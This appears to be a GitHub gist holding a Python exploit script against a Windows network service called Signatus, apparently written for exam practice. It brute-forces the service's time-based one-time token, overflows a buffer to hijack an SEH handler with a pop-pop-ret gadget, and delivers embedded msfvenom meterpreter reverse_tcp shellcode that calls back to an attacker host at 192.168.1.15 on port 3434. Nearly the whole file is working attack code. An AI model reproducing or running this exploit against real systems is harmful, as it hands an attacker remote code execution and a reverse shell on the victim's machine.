Skip to content

Instantly share code, notes, and snippets.

@dualfade
Last active February 10, 2022 18:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dualfade/732e11f41e206d5c7107c02772486182 to your computer and use it in GitHub Desktop.
Save dualfade/732e11f41e206d5c7107c02772486182 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
# signatus_03.py --
# dualfade
import sys
import time
import socket
from struct import pack
from optparse import OptionParser
# globals --
# defs --
def gen_otd(i):
""" generate one time dword (otd) -- """
# 0x60ae13dd 81f226978274 xor edx, 0x74829726 ; token --
# 0x60ae13e3 3bfa cmp edi, edx
# 0x60ae13e5 7419 je 0x60ae1400
# 0x60ae13e7 68d432ae60 push str.received_incorrect_OTD__Badly_formed_packet_. ; 0x60ae32d4
# 0x60ae13ec e87ffcffff call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func_60ae1070
# 0x60ae13f1 83c404 add esp, 4
# 0x60ae13f4 53 push ebx
# 0x60ae13f5 ff156030ae60 call dword [closesocket] ; 0x60ae3060 ; int closesocket(SOCKET s)
# 0x60ae13fb e9e5000000 jmp 0x60ae14e5
# 0x60ae1400 680c33ae60 push str.correct_OTD_received. ; 0x60ae330c
# 0x60ae1405 e866fcffff call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func_60ae1070
SECRET = 0x74829726
# time.now + 59m 59s --
# dont have time to figure this part out --
# brute force pin time --
# 3 days to exam; make sure nSeh works as planned --
print("[info] time_t offset => %s" % i)
seconds = int(time.time()) + i
s = (seconds // 10) & 0xff
# seconds dword --
# swiped --
sec_d = s | (((s*s) >> 4) << 8) \
| (((s*s*s) >> 8) << 16) | ((s*s*s*s) >> 12) << 24
print(sec_d)
# xor --
dx = (sec_d ^ SECRET) & 0xffffffff
print("[info] xor => %s" % hex(dx))
# time based xor ?? --
# eax=00003664 ebx=0000011c ecx=8e500000 edx=fd136676 esi=00000076 edi=74829726
# eip=60ae13dd esp=006cff5c ebp=006cff70 iopl=0 nv up ei ng nz na po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
# Signatus+0x13dd:
# 60ae13dd 81f226978274 xor edx,74829726h
# 0:001> p
# eax=00003664 ebx=0000011c ecx=8e500000 edx=8991f150 esi=00000076 edi=74829726
# eip=60ae13e3 esp=006cff5c ebp=006cff70 iopl=0 nv up ei ng nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
# Signatus+0x13e3:
# 60ae13e3 3bfa cmp edi,edx
# 0:001> p
# fd136676 == 4245907062
# ret dword xor val --
return dx
def w_sub_60AE10F0():
""" opcodes 0x1 write --"""
# .text:60AE12AE 814 push offset aW ; "w"
# .text:60AE12B3 818 push offset FileName ; "C:\\Users\\Public\\signatus.log"
# .text:60AE12B8 81C call ds:fopen
# .text:60AE121A
# .text:60AE121A loc_60AE121A: ; Size
# .text:60AE121A 814 push 800h
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.15 LPORT=3434 \
# -b '\x00\x0a\x1a' -f python -v sc | xclipc
sc = b"\x90" * int(120)
sc += b"\xdd\xc5\xd9\x74\x24\xf4\xbb\xa8\x2d\xde\x4f\x5a\x33"
sc += b"\xc9\xb1\x59\x83\xc2\x04\x31\x5a\x15\x03\x5a\x15\x4a"
sc += b"\xd8\x22\xa7\x05\x23\xdb\x38\x79\x15\x09\xb1\x9c\x31"
sc += b"\x26\x90\x6e\x31\x6a\x19\x05\x17\x9f\x10\xe6\x97\x28"
sc += b"\x18\x3e\x23\x24\xb5\x0f\xf3\x65\xf9\x0e\x8f\x77\x2e"
sc += b"\xf0\xae\xb7\x23\xf1\xf7\x01\x49\x1e\xa5\xc6\x3a\xb2"
sc += b"\x5a\x62\x7e\x0e\x5a\xa4\xf4\x2e\x24\xc1\xcb\xda\x98"
sc += b"\xc8\x1b\xa9\x79\xeb\x10\xe5\x61\xbb\x27\x26\x14\xf2"
sc += b"\x5c\xf4\x26\xfa\xd4\x8f\x7d\x8f\xe6\x59\x4c\x4f\x29"
sc += b"\xaa\xa2\xe3\xab\xf3\x85\x1b\xde\x0f\xf6\xa6\xd9\xd4"
sc += b"\x84\x7c\x6f\xca\x2f\xf6\xd7\x2e\xd1\xdb\x8e\xa5\xdd"
sc += b"\x90\xc5\xe1\xc1\x27\x09\x9a\xfe\xac\xac\x4c\x77\xf6"
sc += b"\x8a\x48\xd3\xac\xb3\xc9\xb9\x03\xcb\x09\x65\xfb\x69"
sc += b"\x42\x84\xea\x0e\xab\x56\x13\x53\x3b\x9a\xde\x6c\xbb"
sc += b"\xb4\x69\x1e\x89\x1b\xc2\x88\xa1\xd4\xcc\x4f\xb0\xf3"
sc += b"\xee\x80\x7a\x93\x10\x21\x7a\xbd\xd6\x75\x2a\xd5\xff"
sc += b"\xf5\xa1\x25\xff\x23\x5f\x2c\x97\x0b\x37\x31\x68\xe4"
sc += b"\x45\x32\x7b\x9e\xc0\xd4\xd3\x0e\x82\x48\x94\xfe\x62"
sc += b"\x39\x7c\x15\x6d\x66\x9c\x16\xa4\x0f\x37\xf9\x10\x67"
sc += b"\xa0\x60\x39\xf3\x51\x6c\x94\x79\x51\xe6\x1c\x7d\x1c"
sc += b"\x0f\x55\x6d\x49\x68\x95\x6d\x8a\x1d\x95\x07\x8e\xb7"
sc += b"\xc2\xbf\x8c\xee\x24\x60\x6e\xc5\x37\x67\x90\x98\x01"
sc += b"\x13\xa7\x0e\x2d\x4b\xc8\xde\xad\x8b\x9e\xb4\xad\xe3"
sc += b"\x46\xed\xfe\x16\x89\x38\x93\x8a\x1c\xc3\xc5\x7f\xb6"
sc += b"\xab\xeb\xa6\xf0\x73\x14\x8d\x82\x74\xea\x53\xad\xdc"
sc += b"\x82\xab\xed\xdc\x52\xc6\xed\x8c\x3a\x1d\xc1\x23\x8a"
sc += b"\xde\xc8\x6b\x82\x55\x9d\xde\x33\x69\xb4\xbf\xed\x6a"
sc += b"\x3b\x64\x1e\x10\x34\x9b\xdf\xe5\x5c\xf8\xe0\xe5\x60"
sc += b"\xfe\xdd\x33\x59\x74\x20\x80\xde\x87\x17\xa5\x77\x02"
sc += b"\x57\xf9\x88\x07"
# var --
shellcode = sc
# ret --
return shellcode
def send_sploit(otd):
""" assemble payload -- """
# opcodes --
# 0x1 w; 0x2 r; 0x3 clear --
# call badchars --
shellcode = w_sub_60AE10F0()
# clear --
# .text:60AE12A9 814 cmp edx, 3
print("[info] => clear")
buf = pack("<I", otd)
buf += pack("<I", (0x3))
send_buf(buf)
# write --
# .text:60AE121A 814 push 800h
print("[info] => write a")
buf = pack("<I", otd)
buf += pack("<I", (0x1))
buf += b"\x41" * int(2048 - len(shellcode))
buf += shellcode
send_buf(buf)
# write x2 --
print("[info] => write b")
seh_buf = pack("<I", otd)
seh_buf += pack("<I", (0x1))
# crash --
# offset @133 --
# - 4 bytes for opcode --
seh_buf += b"\x42" * int(129)
# buf += b"\x43" * int(8)
# 0:003> u eip L1
# 0098ffcc eb06 jmp 0098ffd4
seh_buf += b"\xEB\x06\x90\x90" # nSeh;
seh_buf += pack("<L", 0x60ae1b2b) # Seh; pop ecx ; pop ecx ; ret
# ref --
# https://bit.ly/3uzxvz1 --
seh_buf += b"\xB8\xC0\xF7\xFF\xFF" # mov eax, 0xfffff7c0; 1984 bytes; WarGames !
seh_buf += b"\xF7\xD8" # neg eax
seh_buf += b"\x01\xC4" # add esp, eax
seh_buf += b"\xFF\xE4" # jmp esp
seh_buf += b"\x44" * int(64)
send_buf(seh_buf)
# finally --
# read; trigger vuln --
print("[info] => read")
buf = pack("<I", otd)
buf += pack("<I", (0x2))
send_buf(buf)
def send_buf(buf):
""" socket -- """
port = int(options.port)
target = str(options.target)
try:
# connect / send payload --
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(('%s' % target, port))
print("[info] sending => %s" % buf)
s.send(buf)
resp = s.recv(1024)
# resp --
print("[i] resp => %s" % resp)
# close --
s.close()
print('[info] done')
except socket.error as e:
print('[err] socket error: %s' % e)
sys.exit(-1)
except KeyboardInterrupt:
print("\n[warn] keyboard interrupt called !")
print("[warn] exiting.")
sys.exit(-1)
# main --
if __name__ == "__main__":
""" get parser opts -- """
parser = OptionParser()
parser.add_option('-t', '--target', dest='target', help='target ip address')
parser.add_option('-p', '--port', dest='port', help='port')
try:
(options, args) = parser.parse_args()
if (options.target):
""" send payload to target -- """
print('[info] starting exploit')
for i in range(1, 3600):
otd = gen_otd(i)
send_sploit(otd)
else:
print('[err] missing input')
print('[err] exiting')
sys.exit(-1)
except SystemExit:
sys.stdout.write("\n")
sys.stdout.flush()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment